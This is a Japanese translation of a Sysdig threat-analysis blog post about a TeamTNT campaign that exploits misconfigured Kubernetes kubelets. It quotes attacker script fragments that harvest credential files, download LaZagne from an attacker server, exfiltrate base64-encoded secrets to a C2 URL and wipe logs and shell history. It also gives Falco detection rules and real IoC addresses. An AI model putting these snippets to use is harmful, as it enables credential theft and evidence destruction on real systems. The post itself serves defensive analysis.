脅威ニュース : TeamTNT が不適切に構成された kubelet をターゲットにしています

本文の内容は、2022年9月19日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/teamtnt-kubelet-credentials/)を元に日本語に翻訳・再構成した内容となっております。<br /><br /><a href="https://attack.mitre.org/groups/G0139/">TeamTNT</a> は、少なくとも 2019 年後半以降、<strong>Kubernetes や Docker などのクラウドおよび仮想環境を標的としている</strong>、広く横行している脅威アクターです。この脅威主体は金銭的な動機があり、認証情報の窃取とクリプトマイニングに力を注いでいます。2020年、私たちはインターネットに公開された安全でないDocker APIエンドポイントにおける彼らのWeave Scopeの利用を<a href="https://www.linkedin.com/pulse/weave-scope%25E3%2581%25AE%25E6%2582%25AA%25E6%2584%258F%25E3%2581%2582%25E3%2582%258B%25E5%2588%25A9%25E7%2594%25A8%25E3%2582%2592%25E9%2598%25B2%25E3%2581%2590-takao-shimizu/?trackingId=xkaImJLvQiqt8WtethYEhw%3D%3D">分析しました</a>。2021年12月には、TeamTNTが脆弱なWordPress Podを標的とし、AWSの認証情報を窃取する<a href="https://sysdig.jp/blog/teamtnt-aws-credentials/">攻撃を行ったと分析しています。</a><br /><br /><img src="https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured.png" alt="TeamTNT exploit misconfigured kubelet Kubernetes" width="1201" height="661" class="img-lightbox aligncenter size-full wp-image-54430 u-no-shadow entered lazyloaded" data-lazy-srcset="https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured.png 1201w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-350x193.png 350w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-1170x644.png 1170w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-768x423.png 768w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-175x96.png 175w, / 1w" data-lazy-sizes="(max-width: 1201px) 100vw, 1201px" data-lazy-src="https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured.png" data-ll-status="loaded" sizes="(max-width: 1201px) 100vw, 1201px" srcset="https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured.png 1201w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-350x193.png 350w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-1170x644.png 1170w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-768x423.png 768w, https://sysdig.com/wp-content/uploads/Blog-images_Malware-analysis_featured-175x96.png 175w, / 1w" /><br />本ブログでは、最近発見した、<strong>Kubernetesクラスターのkubeletサービスの設定ミスを悪用した別の広範囲なTeamTNTキャンペーンの影響</strong>についてお伝えします。攻撃者がどの設定ミスを悪用し、どのような実行を行ったか、そしてそれをどのように検知するかについて説明します。<br /><br /><h2>Kubeletとは？</h2><a href="https://sysdig.com/learn-cloud-native/kubernetes-101/components-of-kubernetes/">Kubelet</a>とは、各Kubernetesノード上で動作するプロセスで、KubernetesのPodを管理する役割を担っています。<br /><br />ノードで新しいPodがスケジュールされると、kubeletはkube-apiserverから仕様を受け取り、その仕様を満たすコンテナをspawn upするようコンテナランタイムに指示を出します。このとき、<code>containerd</code><span> や </span><code>cri-o</code><span>, </span>などのコンテナランタイムは、要求されたコンテナを起動します。<br /><br /><img src="https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph.png" alt="kubelet schema Kubernetes" width="960" height="582" class="img-lightbox aligncenter size-full wp-image-54437 u-no-shadow entered lazyloaded" data-lazy-srcset="https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph.png 960w, https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph-350x212.png 350w, https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph-768x466.png 768w, https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph-175x106.png 175w, / 1w" data-lazy-sizes="(max-width: 960px) 100vw, 960px" data-lazy-src="https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph.png" data-ll-status="loaded" sizes="(max-width: 960px) 100vw, 960px" srcset="https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph.png 960w, https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph-350x212.png 350w, https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph-768x466.png 768w, https://sysdig.com/wp-content/uploads/Copy-of-control_plane_kubelet_graph-175x106.png 175w, / 1w" /><br />とはいえ、kubeletはコンテナではなく、マシンに直接インストールされて動作し、ポート10250でリッスンするノード・エージェントであることを強調しておく必要があります。このポートは通常、Kubernetesクラスター内でのみ開放されており、これと通信するためには何らかの認証・認可の仕組みが強制されるのが一般的です。<br /><br />しかし、私たちはハニーポットクラスターの1つでkubeletエージェントの設定を誤り、TeamTNTはPodにアクセスし、バイナリをダウンロードし、悪意のある実行を開始することができたのです。<br /><br /><h2>誤設定されたkubelet攻撃の構造</h2>2021年12月に<a href="https://sysdig.jp/blog/teamtnt-aws-credentials/">TeamTNTに起因する</a>攻撃は非常にシンプルで、AWS認証情報を盗むためにbashスクリプトをダウンロードして実行し、既知のTeamTNT C2サーバーに情報を流出させるというものでした。今回検出したものは、クレデンシャルを盗むという主目的は同じですが、もう少し複雑で洗練されたものになっています。<br /><br />TeamTNTは、kubeletの設定ミスを突いて、稼働中のPodの1つにアクセスすると、必要なパッケージをインストールし、以下のバイナリをダウンロードしました。<br /><br />Sysdig脅威リサーチチームは、悪意のあるバイナリが被害者のPodにダウンロードされるフローを分析しました。<br /><img src="https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram.png" alt="TeamTNT diagram flow infection" width="1200" height="596" class="img-lightbox aligncenter size-full wp-image-54438 u-no-shadow entered lazyloaded" data-lazy-srcset="https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram.png 1200w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-350x174.png 350w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-1170x581.png 1170w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-768x381.png 768w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-175x87.png 175w, / 1w" data-lazy-sizes="(max-width: 1200px) 100vw, 1200px" data-lazy-src="https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram.png" data-ll-status="loaded" sizes="(max-width: 1200px) 100vw, 1200px" srcset="https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram.png 1200w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-350x174.png 350w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-1170x581.png 1170w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-768x381.png 768w, https://sysdig.com/wp-content/uploads/Blog-images_TeamTNT_diagram-175x87.png 175w, / 1w" /><em>TeamTNTのダイアグラムフロー感染</em><br /><br />最初のペイロード<span> (</span><code>.x1mr</code><span>) </span>は、Podへの最初のアクセスのための舞台を設定しました。このスクリプトは、他のバイナリをダウンロードし、そのパーミッションを変更して起動します。<br /><br />この時点で、コンテナは<span> </span><a href="https://sysdig.com/blog/tsunami-malware-jenkins-weblogic/">tsunami malware</a><span> (</span><code>ptyw64</code><span>)</span>と思われるものに感染し、バックグラウンドで実行され、リモートマシンとの通信を開くバックドアを生成していました。<br /><br />その代わり、暗号通貨のマイニングを停止し、他のスクリプトに作業を任せるために、システム上で実行されているプロセスを発見するための<span> </span><code>kill_miner</code><span> </span> bashスクリプトが実行されました。<br /><br />さらに、認証情報を盗んでC2サーバーに送信する目的で、他の多くのスクリプトが実行されました。<br /><br /><ul><li><code>aws2.sh</code><span> </span>は、2021年12月に<a href="https://sysdig.jp/blog/teamtnt-aws-credentials/">分析した</a>スクリプトの改良版です。これは、ファイル、プロセス環境変数、メタデータエンドポイント、Dockerコンテナ層でAWS関連のクレデンシャルを検索します。</li><li><code>creds.sh</code><span> </span>も同様ですが、他の機密クレデンシャルを格納できるファイル名も検索します。</li></ul><pre class="prettyprint"><br />CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \
"access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \
".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env")
…
for CREFILE in ${CRED_FILE_NAMES[@]}; do # echo "searching for $CREFILE"
find / -maxdepth 23 -type f -name $CREFILE 2&gt;/dev/null | xargs -I % sh -c 'echo :::%; cat %' &gt;&gt; $EDIS 
… </pre><br /><ul><li><code>script.sh</code><span> </span>は、オープンソースのツールLazagneをカスタマイズして軽量化したものをダウンロードし、実行します。これは、マシンに保存されているパスワードを検索し、発見するために使用されました。</li></ul><br /><pre class="prettyprint">…
wget http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz
tar xvf /tmp/.laz/LaZagne.tar.gz 2&gt;/dev/null 1&gt;/dev/null 
rm -f /tmp/.laz/LaZagne.tar.gz  2&gt;/dev/null 1&gt;/dev/null 
pip3 install -r /tmp/.laz/LaZagne/requirements.txt 2&gt;/dev/null 1&gt;/dev/null 
rm -f /tmp/.laz/LaZagne/requirements.txt /tmp/.laz/LaZagne/README.md
cd /tmp/.laz/LaZagne/Linux/
python3 laZagne.py all -oN
BASE64DATA=$(cat /tmp/.laz/LaZagne/Linux/credentials.txt | base64 -w 0)
…
</pre><p><span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;"><br />収集されると、発見された認証情報はbase64でエンコードされ、<a href="https://attack.mitre.org/techniques/T1011/">ネットワーク経由で既知のTeamTNT C2サーバーに流出</a>しました。</span></p><br /><pre class="prettyprint">send_aws_data(){

    SEND_B64_DATA=$(cat $CSOF | base64 -w 0)

    rm -f $CSOF

    dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA 		#2&gt;/dev/null

    dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA 		#2&gt;/dev/null

}</pre><br />最後になりましたが、悪意のある行為者は、その<a href="https://attack.mitre.org/techniques/T1070/">痕跡を消そうと、</a>取得した認証情報とコマンド履歴を削除し、その存在の証拠を消したり、防御の妨げにしたりしました。<br /><br /><pre class="prettyprint">…
notraces(){
chattr -i $LOCK_FILE 2&gt;/dev/null 1&gt;/dev/null
rm -f $LOCK_FILE 2&gt;/dev/null 1&gt;/dev/null
rm -f /var/log/syslog.* 2&gt;/dev/null 1&gt;/dev/null
rm -f /var/log/auth.log.* 2&gt;/dev/null 1&gt;/dev/null
lastlog --clear --user root 2&gt;/dev/null 1&gt;/dev/null
lastlog --clear --user $USER 2&gt;/dev/null 1&gt;/dev/null
echo &gt; /var/log/wtmp 2&gt;/dev/null
echo &gt; /var/log/btmp 2&gt;/dev/null
echo &gt; /var/log/lastlog 2&gt;/dev/null
echo &gt; /var/log/syslog 2&gt;/dev/null
echo &gt; /var/log/auth.log 2&gt;/dev/null
rm -f ~/.bash_history 2&gt;/dev/null 1&gt;/dev/null
touch ~/.bash_history 2&gt;/dev/null 1&gt;/dev/null
chattr +i ~/.bash_history 2&gt;/dev/null 1&gt;/dev/null
history -cw
clear
}
…</pre><br /><h2>緩和策</h2>この話の教訓は何でしょうか？<br /><br />まず、<strong>kubeletサービスに対する匿名リクエストを公開または許可してはいけません。</strong>これは不要なリスクであり、環境内で実行するコンテナを危険にさらす可能性があります。さらに、コンテナの1つが特権的なものでもある場合、脅威者がKubernetesノードに直接アクセスすることを認めてしまうことになります。<br /><br />2つ目は、<strong>パスワード、認証情報、シークレットをPodやマシンに保存しないことです。</strong>もしそれらが侵害された場合、あなたのシークレットは危険にさらされ、あなたのリソースへの制御不能なアクセスを許可することになります。<br /><br />3つ目は、可能であれば、<strong>環境を保護するために、最も安全な手段を採用することです。</strong>例えば、AWSの場合、メタデータエンドポイントに到達するためにIMDSv1ではなくIMDSv2を選択してインスタンスを作成することができます。<br /><br /><h2>検知</h2>TeamTNTによって行われた悪意のあるテクニックのいくつかを実行時に検知するために、Falcoを使用することができます。<br /><br />Falcoは<a href="https://www.cncf.io/projects/">CNCFのインキュベートプロジェクト</a>で、クラウドネイティブ環境における異常な活動の検知を支援し、実行時にアラートを送信します。これを行うには、デフォルトのFalcoのルールを使用するか、その簡単で柔軟な言語を活用して、より具体的なものを作成します。<br /><br />このような疑わしい実行が検知されるたびに、Falcoのアラートを受信することができます。<br />


<pre class="prettyprint">- macro: private_aws_credentials<br />  condition: &gt;<br />    (proc.args icontains "aws_access_key_id" or<br />    proc.args icontains "aws_secret_access_key" or<br />    proc.args icontains "aws_session_token" or<br />    proc.args icontains "accesskeyid" or<br />    proc.args icontains "secretaccesskey")<br /><br /><span>- rule: Find AWS Credentials</span><br /><span> desc: Find or grep AWS credentials</span><br /><span> condition: &gt;</span><br /><span> spawned_process and</span><br /><span> ((grep_commands and private_aws_credentials) or</span><br /><span> (proc.name = "find" and proc.args endswith ".aws/credentials"))</span><br /><span> output: Search AWS credentials activities found (user.name=%user.name user.loginuid=%user.loginuid proc.cmdline=%proc.cmdline container.id=%container.id container_name=%container.name evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository:%container.image.tag)</span><br /><span> priority: NOTICE</span><br /><span> tags: [mitre_credential_access, process, aws]</span><br /><br /><span>- macro: private_key_or_password</span><br /><span> condition: &gt;</span><br /><span> (proc.args icontains "BEGIN PRIVATE" or</span><br /><span> proc.args icontains "BEGIN RSA PRIVATE" or</span><br /><span> proc.args icontains "BEGIN DSA PRIVATE" or</span><br /><span> proc.args icontains "BEGIN EC PRIVATE" or</span><br /><span> (grep_more and</span><br /><span> (proc.args icontains " pass " or</span><br /><span> proc.args icontains " ssh " or</span><br /><span> proc.args icontains " user "))</span><br /><span> )<br /><br />- rule: Search Private Keys or Passwords<br /> desc: &gt;<br /> Detect grep private keys or passwords activity.<br /> condition: &gt;<br /> (spawned_process and<br /> ((grep_commands and private_key_or_password) or<br /> (proc.name = "find" and (proc.args contains "id_rsa" or proc.args contains "id_dsa")))<br /> )<br /> output: &gt;<br /> Grep private keys or passwords activities found<br /> (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)<br /> priority: WARNING<br /> tags: [process, mitre_credential_access]<br /><br /><br />- rule: System procs network activity<br /> desc: any network activity performed by system binaries that are not expected to send or receive any network traffic<br /> condition: &gt;<br /> (fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))<br /> and (inbound_outbound)<br /> and not proc.name in (known_system_procs_network_activity_binaries)<br /> and not login_doing_dns_lookup<br /> and not user_expected_system_procs_network_activity_conditions<br />  output: &gt;<br /> Known system binary sent/received network traffic<br /> (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)<br /> priority: NOTICE<br /> tags: [network, mitre_exfiltration]<br /><br />- rule: Contact EC2 Instance Metadata Service From Container<br /> desc: Detect attempts to contact the EC2 Instance Metadata Service from a container<br /> condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers<br /> output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)<br /> priority: NOTICE<br /> tags: [network, aws, container, mitre_discovery]<br /><br />- rule: Contact cloud metadata service from container<br /> desc: Detect attempts to contact the Cloud Instance Metadata Service from a container<br /> condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access<br /> output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)<br /> priority: NOTICE<br /> tags: [network, container, mitre_discovery]<br /><br /></span></pre>これらのルールについてもっと詳しく知りたい場合は、GitHub で<a href="https://github.com/falcosecurity/falco/blob/205a8fd23b15b2750c0bb9831a12fe9954888262/rules/falco_rules.yaml#L2322">ルールの完全な説明</a>を確認することができます。<br /><br /><h2>侵害の指標(IoC)の概要</h2><h4>IPs &amp; URLs</h4><ul><li>84.201.153.234</li><li>134.209.248.91</li><li>http://134.209.248.91/wp-content/themes/twentyseventeen/ptyw64</li><li>http://134.209.248.91/wp-content/themes/twentyseventeen/kill_miner</li><li>http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz</li><li>http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh</li><li>http://84.201.153.234/wp-content/themes/twentyseventeen/.b/script.sh</li><li>http://84.201.153.234/wp-content/themes/twentyseventeen/.b/creds.sh</li><li>http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php</li><li>http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php</li></ul><h4>MD5</h4><ul><li>.x1mr: bb003f12a18d1e8671fa631814d3b306</li><li>ptyw64: 14a348ca4ca77bee9d6e5523b5fca0a5</li><li>kill_miner: 399a6b8bf8ae2f455f71f4c455bbd069</li><li>aws2.sh: 6eb1c1b3acbb0a71013826d512b3ebb6</li><li>creds.sh: 26986f94582fa3e035aa7a1ab71de84a</li><li>script.sh: f7eed3fd39095f9ed29a83bc4a4fe689</li><li>LaZagne.tar.gz: 04ae78c8b130f152d1f5959a54bcff72</li></ul><h4>Filenames</h4><ul><li>.x1mr</li><li>ptyw64</li><li>kill_miner</li><li>aws2.sh</li><li>creds.sh</li><li>script.sh</li><li>LaZagne.tar.gz</li></ul><br /><h2>まとめ</h2>以前発見したように、TeamTNTは依然として機密性の高いクレデンシャルを探しています。しかし、今回の新しいキャンペーンでは、彼らの焦点がもはやAWSだけではないことがわかりました。さらに、GitHubやSSHキーのようなものに関連する他の機密情報もTeamTNTによって監視されています。これらを利用して、彼らは機密性の高いプラットフォームにアクセスし、ラテラルムーブメントを試みることができます。<br /><br />これらの新しいインシデントは、悪意のある行為者が継続的に新しい攻撃戦略を採用し、検知を回避するために技術を進化させていることを再確認させるものです。今回のケースでは、TeamTNTがKubernetesクラスターを標的とし、被害者コンテナへの機密データを検索していると分析されています。これは時に、ラテラルムーブメントと権限昇格の試みにもつながる可能性があります。<br /><br />強力なランタイム セキュリティ ツールである Falco を使用して、このキャンペーンが引き起こす可能性のある疑わしいアクティビティを検知できることを忘れないでください。 最後に、環境内で常にセキュリティのベスト プラクティスを実施する必要があります。 匿名認証を有効にした状態で kubelet デーモンをパブリック ネットワークに公開したり、資格情報をファイル システムに保存したりしないでください！